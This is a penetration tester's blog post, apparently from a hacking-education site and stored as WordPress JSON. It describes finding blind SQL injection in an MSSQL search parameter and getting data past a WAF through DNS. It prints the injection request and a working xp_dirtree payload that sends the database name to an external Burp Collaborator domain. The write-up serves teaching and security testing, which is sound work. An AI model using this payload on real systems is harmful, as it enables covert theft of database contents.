{"id":108,"date":"2022-07-16T22:08:46","date_gmt":"2022-07-16T22:08:46","guid":{"rendered":"https:\/\/hacking.cool\/?p=108"},"modified":"2024-03-25T11:58:36","modified_gmt":"2024-03-25T11:58:36","slug":"sql-injection-through-covert-dns-channel","status":"publish","type":"post","link":"https:\/\/hacking.cool\/atomanya\/sql-injection-through-covert-dns-channel\/","title":{"rendered":"SQL Injection through covert DNS channel"},"content":{"rendered":"<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"585\" src=\"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2024\/03\/21ac7c7c-0694-4121-8c7f-2e0d8adbc34c-1024x585.webp\" alt=\"\" class=\"wp-image-928\" srcset=\"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2024\/03\/21ac7c7c-0694-4121-8c7f-2e0d8adbc34c-1024x585.webp 1024w, https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2024\/03\/21ac7c7c-0694-4121-8c7f-2e0d8adbc34c-300x171.webp 300w, https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2024\/03\/21ac7c7c-0694-4121-8c7f-2e0d8adbc34c-768x439.webp 768w, https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2024\/03\/21ac7c7c-0694-4121-8c7f-2e0d8adbc34c-1536x878.webp 1536w, https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2024\/03\/21ac7c7c-0694-4121-8c7f-2e0d8adbc34c.webp 1792w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure><\/div>\n\n\n<p>In one of the engagements I was assigned an interesting case. The web application was obviously vulnerable to SQL injection, but WAF (web-application firewalls) were blocking any data exfiltration attempts. So the question arose how to get data?<\/p>\n\n\n\n<p>But we will start from the beginning. One of the POST search parameters appeared to be vulnerable to an injection. An example of the request is seen below:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>POST \/search.aspx HTTP\/1.1\n\nHost: &#91;REDACTED]\nCookie: &#91;REDACTED]\nUser-Agent: Mozilla\/5.0 (X11; Linux x86_64; rv:91.0) Gecko\/20100101 Firefox\/91.0\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: application\/x-www-form-urlencoded\nContent-Length: &#91;REDACTED]\nOrigin: https:\/\/&#91;REDACTED]\nReferer: https:\/\/&#91;REDACTED]\/search.aspx\nSec-Fetch-Mode: navigate\nConnection: close\n\n&#91;REDACTED]&amp;<strong>st=1111111111%20or%204444%3d04444--%20<\/strong>&amp;search_string=test&amp;ST=&#91;REDACTED]<\/code><\/pre>\n\n\n\n<p>As seen in the somewhat redacted HTTP POST request above, the &#8216;st&#8217; parameter was assigned some random value and appended with an SQL statement of &#8221; or 4444=4444&#8211;&#8220;. By changing the &#8220;4444=4444 equation&#8221; to something different like &#8220;4444=4445&#8221; I noted the web app responding differently. It all depended on whether the equation resulted in a Logical True (4444=4444) or logical False (4444=4445) statements. One difference was in the length of the response. By noting this, I concluded that yeah&#8230;there is an SQL injection, cause our little SQL logical statements were being processed by the app.<\/p>\n\n\n\n<p>So far it appears to be a common SQL injection. But here comes the interesting part &#8211; no info was possible to extract from the app through the ordinary HTTP channels. Apparently, there were some content filtering IPS (Intrusion-Prevention-Systems) and WAFs that would detect and block data exfiltration. After bumping around through various means, I decided to test other exfiltration channels, namely &#8211; DNS.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>st=1;\ndeclare @v varchar(99);\nset @v=(select+db_name());\ndeclare @q varchar(99);\nset @q='\\'+@v+'.tif95r6mxif6lb4sfa76xa84avgt4i.burpcollab'+'orator.net\\jul';\nexec master.dbo.xp_dirtree @q;--<\/code><\/pre>\n\n\n\n<p>What you see above is a simple proof-of-concept script written to retrieve information from the MSSQL database by utilizing DNS channel. We do it by declaring a variable and assigning it data extracted from the database:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>set @v=(select+db_name());<\/code><\/pre>\n\n\n\n<p>The db_name() is an MSSQL function that retrieves the current database name. After that we declare another variable (@q) that is supposed to be a URL address. We set the main domain of the @q URL to a server that is controlled by us (.tif95r6mxif6lb4sfa76xa84avgt4i.burpcollab&#8217;+&#8217;orator.net\\jul) and set the subdomain part of the URL to be equal to the extracted data from the database (&#8216;\\&#8217;+@v+&#8217;.).<\/p>\n\n\n\n<p>Next, we invoke the MSSQL stored procedure xp_dirtree. By design, this SQL procedure displays a list of every folder, subfolder, and file for path you give it. If for the path we give an external URL, the procedure will initiate a DNS lookup for that URL. And that&#8217;s where our little magic happens, as with the DNS lookup requests the information retrieved from the database will be carried out as the subdomain names o the URLs. <\/p>\n\n\n\n<p>The somewhat redacted screenshot below displays this technique that I used during the engagement:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"322\" src=\"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/07\/sql_dns1_r2-1024x322.png\" alt=\"\" class=\"wp-image-117\" srcset=\"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/07\/sql_dns1_r2-1024x322.png 1024w, https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/07\/sql_dns1_r2-600x189.png 600w, https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/07\/sql_dns1_r2-300x94.png 300w, https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/07\/sql_dns1_r2-768x242.png 768w, https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/07\/sql_dns1_r2.png 1485w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>Using this technique of retrieving information from the database and passing it as a subdomain name through outbound DNS resolutions &#8211; the whole database can be readily enumerated. <\/p>\n","protected":false},"excerpt":{"rendered":"<p>In one of the engagements I was assigned an interesting case. The web application was obviously vulnerable to SQL injection, but WAF (web-application firewalls) were blocking any data exfiltration attempts. So the question arose how to get data? But we will start from the beginning. One of the POST search parameters appeared to be vulnerable<span class=\"post-excerpt-end\">&hellip;<\/span><\/p>\n<p class=\"more-link\"><a href=\"https:\/\/hacking.cool\/atomanya\/sql-injection-through-covert-dns-channel\/\" class=\"themebutton\">Read More<\/a><\/p>\n","protected":false},"author":3,"featured_media":928,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_mi_skip_tracking":false,"footnotes":""},"categories":[4],"tags":[],"class_list":["post-108","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-articles"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v19.3 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>SQL Injection through covert DNS channel - hacking.cool<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/hacking.cool\/atomanya\/sql-injection-through-covert-dns-channel\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"SQL Injection through covert DNS channel - hacking.cool\" \/>\n<meta property=\"og:description\" content=\"In one of the engagements I was assigned an interesting case. The web application was obviously vulnerable to SQL injection, but WAF (web-application firewalls) were blocking any data exfiltration attempts. So the question arose how to get data? But we will start from the beginning. One of the POST search parameters appeared to be vulnerable&hellip;Read More\" \/>\n<meta property=\"og:url\" content=\"https:\/\/hacking.cool\/atomanya\/sql-injection-through-covert-dns-channel\/\" \/>\n<meta property=\"og:site_name\" content=\"hacking.cool\" \/>\n<meta property=\"article:published_time\" content=\"2022-07-16T22:08:46+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2024-03-25T11:58:36+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2024\/03\/21ac7c7c-0694-4121-8c7f-2e0d8adbc34c.webp\" \/>\n\t<meta property=\"og:image:width\" content=\"1792\" \/>\n\t<meta property=\"og:image:height\" content=\"1024\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/webp\" \/>\n<meta name=\"author\" content=\"Atom\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Atom\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"3 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebSite\",\"@id\":\"https:\/\/hacking.cool\/atomanya\/#website\",\"url\":\"https:\/\/hacking.cool\/atomanya\/\",\"name\":\"hacking.cool\",\"description\":\"is the hacking school \ud83d\udc69\ud83c\udffb\u200d\ud83d\udcbb\ud83e\uddd1\ud83c\udffb\u200d\ud83d\udcbb\ud83d\uddfa\ud83d\udcda\ud83d\udcd6\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/hacking.cool\/atomanya\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"en-US\"},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/hacking.cool\/atomanya\/sql-injection-through-covert-dns-channel\/#primaryimage\",\"url\":\"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2024\/03\/21ac7c7c-0694-4121-8c7f-2e0d8adbc34c.webp\",\"contentUrl\":\"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2024\/03\/21ac7c7c-0694-4121-8c7f-2e0d8adbc34c.webp\",\"width\":1792,\"height\":1024},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/hacking.cool\/atomanya\/sql-injection-through-covert-dns-channel\/\",\"url\":\"https:\/\/hacking.cool\/atomanya\/sql-injection-through-covert-dns-channel\/\",\"name\":\"SQL Injection through covert DNS channel - hacking.cool\",\"isPartOf\":{\"@id\":\"https:\/\/hacking.cool\/atomanya\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/hacking.cool\/atomanya\/sql-injection-through-covert-dns-channel\/#primaryimage\"},\"datePublished\":\"2022-07-16T22:08:46+00:00\",\"dateModified\":\"2024-03-25T11:58:36+00:00\",\"author\":{\"@id\":\"https:\/\/hacking.cool\/atomanya\/#\/schema\/person\/804a839cfa61d89d69fb2cf1d2f0adc2\"},\"breadcrumb\":{\"@id\":\"https:\/\/hacking.cool\/atomanya\/sql-injection-through-covert-dns-channel\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/hacking.cool\/atomanya\/sql-injection-through-covert-dns-channel\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/hacking.cool\/atomanya\/sql-injection-through-covert-dns-channel\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/hacking.cool\/atomanya\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"SQL Injection through covert DNS channel\"}]},{\"@type\":\"Person\",\"@id\":\"https:\/\/hacking.cool\/atomanya\/#\/schema\/person\/804a839cfa61d89d69fb2cf1d2f0adc2\",\"name\":\"Atom\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/hacking.cool\/atomanya\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/ac4d05ec7d617e7f2dee5855900a855a?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/ac4d05ec7d617e7f2dee5855900a855a?s=96&d=mm&r=g\",\"caption\":\"Atom\"},\"url\":\"https:\/\/hacking.cool\/atomanya\/author\/atom\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"SQL Injection through covert DNS channel - hacking.cool","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/hacking.cool\/atomanya\/sql-injection-through-covert-dns-channel\/","og_locale":"en_US","og_type":"article","og_title":"SQL Injection through covert DNS channel - hacking.cool","og_description":"In one of the engagements I was assigned an interesting case. The web application was obviously vulnerable to SQL injection, but WAF (web-application firewalls) were blocking any data exfiltration attempts. So the question arose how to get data? But we will start from the beginning. One of the POST search parameters appeared to be vulnerable&hellip;Read More","og_url":"https:\/\/hacking.cool\/atomanya\/sql-injection-through-covert-dns-channel\/","og_site_name":"hacking.cool","article_published_time":"2022-07-16T22:08:46+00:00","article_modified_time":"2024-03-25T11:58:36+00:00","og_image":[{"width":1792,"height":1024,"url":"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2024\/03\/21ac7c7c-0694-4121-8c7f-2e0d8adbc34c.webp","type":"image\/webp"}],"author":"Atom","twitter_card":"summary_large_image","twitter_misc":{"Written by":"Atom","Est. reading time":"3 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebSite","@id":"https:\/\/hacking.cool\/atomanya\/#website","url":"https:\/\/hacking.cool\/atomanya\/","name":"hacking.cool","description":"is the hacking school \ud83d\udc69\ud83c\udffb\u200d\ud83d\udcbb\ud83e\uddd1\ud83c\udffb\u200d\ud83d\udcbb\ud83d\uddfa\ud83d\udcda\ud83d\udcd6","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/hacking.cool\/atomanya\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"en-US"},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/hacking.cool\/atomanya\/sql-injection-through-covert-dns-channel\/#primaryimage","url":"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2024\/03\/21ac7c7c-0694-4121-8c7f-2e0d8adbc34c.webp","contentUrl":"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2024\/03\/21ac7c7c-0694-4121-8c7f-2e0d8adbc34c.webp","width":1792,"height":1024},{"@type":"WebPage","@id":"https:\/\/hacking.cool\/atomanya\/sql-injection-through-covert-dns-channel\/","url":"https:\/\/hacking.cool\/atomanya\/sql-injection-through-covert-dns-channel\/","name":"SQL Injection through covert DNS channel - hacking.cool","isPartOf":{"@id":"https:\/\/hacking.cool\/atomanya\/#website"},"primaryImageOfPage":{"@id":"https:\/\/hacking.cool\/atomanya\/sql-injection-through-covert-dns-channel\/#primaryimage"},"datePublished":"2022-07-16T22:08:46+00:00","dateModified":"2024-03-25T11:58:36+00:00","author":{"@id":"https:\/\/hacking.cool\/atomanya\/#\/schema\/person\/804a839cfa61d89d69fb2cf1d2f0adc2"},"breadcrumb":{"@id":"https:\/\/hacking.cool\/atomanya\/sql-injection-through-covert-dns-channel\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/hacking.cool\/atomanya\/sql-injection-through-covert-dns-channel\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/hacking.cool\/atomanya\/sql-injection-through-covert-dns-channel\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/hacking.cool\/atomanya\/"},{"@type":"ListItem","position":2,"name":"SQL Injection through covert DNS channel"}]},{"@type":"Person","@id":"https:\/\/hacking.cool\/atomanya\/#\/schema\/person\/804a839cfa61d89d69fb2cf1d2f0adc2","name":"Atom","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/hacking.cool\/atomanya\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/ac4d05ec7d617e7f2dee5855900a855a?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/ac4d05ec7d617e7f2dee5855900a855a?s=96&d=mm&r=g","caption":"Atom"},"url":"https:\/\/hacking.cool\/atomanya\/author\/atom\/"}]}},"jetpack_featured_media_url":"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2024\/03\/21ac7c7c-0694-4121-8c7f-2e0d8adbc34c.webp","_links":{"self":[{"href":"https:\/\/hacking.cool\/atomanya\/wp-json\/wp\/v2\/posts\/108","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/hacking.cool\/atomanya\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hacking.cool\/atomanya\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hacking.cool\/atomanya\/wp-json\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/hacking.cool\/atomanya\/wp-json\/wp\/v2\/comments?post=108"}],"version-history":[{"count":8,"href":"https:\/\/hacking.cool\/atomanya\/wp-json\/wp\/v2\/posts\/108\/revisions"}],"predecessor-version":[{"id":929,"href":"https:\/\/hacking.cool\/atomanya\/wp-json\/wp\/v2\/posts\/108\/revisions\/929"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/hacking.cool\/atomanya\/wp-json\/wp\/v2\/media\/928"}],"wp:attachment":[{"href":"https:\/\/hacking.cool\/atomanya\/wp-json\/wp\/v2\/media?parent=108"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hacking.cool\/atomanya\/wp-json\/wp\/v2\/categories?post=108"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hacking.cool\/atomanya\/wp-json\/wp\/v2\/tags?post=108"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}